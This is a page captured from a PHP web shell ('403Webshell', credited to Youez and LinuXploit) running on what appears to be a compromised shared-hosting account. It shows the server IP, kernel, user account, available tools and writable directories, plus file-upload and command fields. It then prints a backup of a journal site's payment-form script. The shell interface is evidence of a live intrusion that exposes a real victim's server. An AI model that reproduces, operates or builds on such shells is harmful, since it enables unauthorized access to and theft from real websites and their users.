403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/thepharmajournal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/thepharmajournal/payment.php.bk
<?php
session_start();
if(file_exists('inc/config.php')): require_once('inc/config.php'); else: die('Required file doesn\'t exist.'); endif;

$files_inc = array('encryptions.class', 'functions.class', 'csrf.class', 'transaction.class', 'gateway.class');
foreach($files_inc as $file_inc):
	if(file_exists(MYF.$file_inc.'.php')): require_once(MYF.$file_inc.'.php'); else: die('Required file doesn\'t exist.'); endif;
endforeach;

$stmt = $mysqli->prepare("SELECT websitename FROM settings ORDER BY settingsid DESC LIMIT 1") or die('An error occurred. Please try after some time.');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($websitename);
$stmt->fetch();
$stmt->close();

if($_SERVER['REQUEST_METHOD'] === 'POST'):
	if($csrf->check_valid('post')):
		if(file_exists('inc/payment.php')):
			require_once('inc/payment.php');
			exit();
		else:
			die(output(false, 'Required file is missing.'));
		endif;
	else:
		die(output(false, 'Submission not allowed.'));
	endif;
endif;

function countries(){
	global $mysqli;$html = '';
	$stmt = $mysqli->prepare("SELECT TRIM(nicename) FROM country ORDER BY TRIM(nicename) ASC") or die('An error occurred. Please try after some time.');
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($country);
		while($stmt->fetch()):
			$html .= ($country) ? '<option value="'.$country.'">'.$country.'</option>' : '';
		endwhile;
		$stmt->close();
	endif;
	return $html;
}
$countries = countries();
echo <<<EOJ
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Make Payment" />
<meta name="keywords" content="payment, make payment" />
<meta name="Robots" content="index, follow" />
<title>Make Payment</title>
EOJ;
?>
<link rel="shortcut icon" href="<?php echo $imageurl;?>favicon.ico" />
<link href="https://fonts.googleapis.com/css?family=Roboto:400,500|Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/css/materialize.min.css">
<style type="text/css">
*{margin:0;box-sizing:border-box;outline:none}html,body{width:100%}body{height:100%;font-family:'Roboto', sans-serif;overflow-y:scroll}

.progress{margin:0;border-radius:0;position:fixed;top:0;z-index:99;display:none}

.header{padding:5px 0;position:fixed;top:0;left:0;right:0;z-index:9}
.header a{font-weight:500}

h2{color:#fff;font-size:24px;text-transform:uppercase}

.form .card-content{padding-top:15px}
.form .card-content .row{margin-bottom:0}
.form .card-content .row .input-field{margin-bottom:10px}
.form .card-content .row .input-field *{margin-bottom:0}
.form .card-content .row .input-field label{color:#777;font-size:12px;font-weight:500;text-transform:uppercase}
.form .card-content .row .input-field input:focus + label,
.form .card-content .row .input-field textarea:focus + label{color:#2196f3 !important}
.form .card-content .row .input-field input:focus,
.form .card-content .row .input-field textarea:focus{border-bottom:1px solid #2196f3 !important;box-shadow:0 1px 0 0 #2196f3 !important}

button,input,select,textarea{padding:0 5px;font-size:13px !important;font-family:'Roboto', sans-serif}

.browser-default{height:46px;padding:0;border-bottom:1px solid #9e9e9e}

.noscript{display:none}

#toast-container{top:auto;right:30px;bottom:30px}.toast{font-size:12px;padding:0 15px}.noscript{display:none}

@media(max-width:992px){
button.btn-flat{line-height:38px}
}
@media(max-width:600px){
#toast-container{left:0;right:0;bottom:0}.toast{font-size:14px}
}

</style>
<!--[if IE]>
<style type="text/css">
body{font-family:Arial, Helvetica, sans-serif;font-size:12px}
.noscript{display:block}.container{display:none}
</style>
<![endif]-->
<?php
echo <<<EOJ
</head>
<body class="blue accent-3">
<noscript>Your browser doesn&rsquo;t support javascript. Please use another browser.</noscript>
<p class="noscript">Your browser doesn&rsquo;t support form script. Please use another browser.</p>
<div class="progress orange"><div class="indeterminate grey lighten-2"></div></div>
<div class="row header white z-depth-1">
	<div class="col s6 m6 l6"><img src="{$imageurl}logo_receipt.png" alt="{$websitename}" height="36" class="left" /></div>
	<div class="col s6 m6 l6 right-align"><a href="{$baseurl}" class="waves-effect waves-light btn-flat blue-text text-accent-3">home</a></div>
</div>
<div class="row" style="margin-top:65px">
	<div class="col s12 m12 l5 center-align" style="float:none;margin:auto">
		<h2>Make Payment</h2>
		<form action="{$baseurl}payment" method="post" name="paymentform" class="form card" onsubmit="return ePAYMENT(this)">
			<input type="hidden" name="{$token_id}" value="{$token_value}" readonly />
	        <input type="hidden" name="zipcode" value="" readonly />
			<div class="card-content">
				<div class="row">
					<div class="input-field col s12 m6 l6">
						<input type="text" name="name" id="name" />
						<label for="name">name</label>
					</div>
					<div class="input-field col s12 m6 l6">
						<input type="text" name="email" id="email" />
						<label for="email">email</label>
					</div>
				</div>
				<div class="row">
					<div class="input-field col s12 m12 l12">
						<input type="text" name="phone" id="phone" />
						<label for="phone">phone</label>
					</div>
				</div>
				<div class="row">
					<div class="input-field col s12 m12 l12">
						<textarea rows="5" cols="5" name="address" id="address" class="materialize-textarea"></textarea>
						<label for="address">address</label>
					</div>
				</div>
				<div class="row">
					<div class="input-field col s12 m12 l12">
						<select name="country">
							<option value="" selected="selected">Select Country</option>
							{$countries}
						</select>
					</div>
				</div>
				<div class="row">
					<div class="input-field col s12 m8 l8">
						<input type="text" name="title" id="title" />
						<label for="title">article title</label>
					</div>
					<div class="input-field col s12 m4 l4">
						<input type="text" name="refnumber" id="refnumber" />
						<label for="refnumber">article ref. number</label>
					</div>
				</div>
				<div class="row">
					<div class="input-field col s12 m6 l6">
						<input type="text" name="amount" id="amount" maxlength="6" />
						<label for="amount">amount</label>
					</div>
					<div class="input-field col s12 m6 l6">
						<select name="currency">
							<option value="" selected>Select Currency</option>
							<option value="INR">INR</option>
							<option value="USD">USD</option>
						</select>
					</div>
				</div>
			</div>
			<div class="card-action right-align">
				<button type="submit" name="action" class="waves-effect waves-light btn-flat blue accent-3 white-text" disabled>pay now</button>
			</div>
		</form>
	</div>
</div>
<div class="redirect"></div>
EOJ;
?>
<script type="text/javascript" src="https://www.akinik.com/js/jquery.js" defer></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/js/materialize.min.js" defer></script>
<script type="text/javascript">
function downloadJSAtOnload(){
var element = document.createElement('script');
element.src = 'https://www.akinik.com/js/payment.js?<?php echo time();?>';
document.body.appendChild(element);
}
if(window.addEventListener)
window.addEventListener('load', downloadJSAtOnload, false);
else if(window.attachEvent)
window.attachEvent('onload', downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit